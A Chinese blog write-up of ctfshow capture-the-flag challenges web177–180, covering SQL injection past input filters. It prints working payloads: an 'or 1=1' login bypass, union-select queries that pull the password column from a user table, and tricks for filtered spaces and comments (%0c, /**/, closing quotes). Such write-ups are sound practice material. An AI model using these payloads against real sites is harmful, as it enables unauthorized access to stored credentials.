ctfshow_web176~180

此文章是为了记录本人对知识理解,如有错误望敬请指出并谅解。

web177
在这里插入图片描述

解题思路:题目说对传入的参数进行了过滤,但是我们不知道过滤了什么,所以第一步我们要先确认过在这里插入图片描述

滤了哪些特殊字符。在这里,我们使用burp进行检测。
在这里插入图片描述在这里插入图片描述在这里插入图片描述不知道为什么,没有检测出来,看了官方的wp,过滤了select,union的。我的思路是,既然过滤了,先检测过滤了哪些字符,然后避开,我认为这比盲猜靠谱。
最后我是用万能密码破的。
pyload:1’ or 1=1 --+

web178(空格过滤)
可代空格的字符:

%09
%0a
%0d  
%0c
/**/  
+

pyload:

1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

在这里插入图片描述web179
也过滤了空格,将178中空格都试试,发现%0c没有被过滤:
于是构造pyload:

1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23

在这里插入图片描述
web180
通过测试发现注释符被过滤了,即–+,#,%23都不可以使用,我们换一种思路,把sql后面的‘闭合。
构造pyload:

'%0cunion%0cselect%0c1,2,(select%0cgroup_concat(password)%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%0cor'1'='1')'

得到如下结果:

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值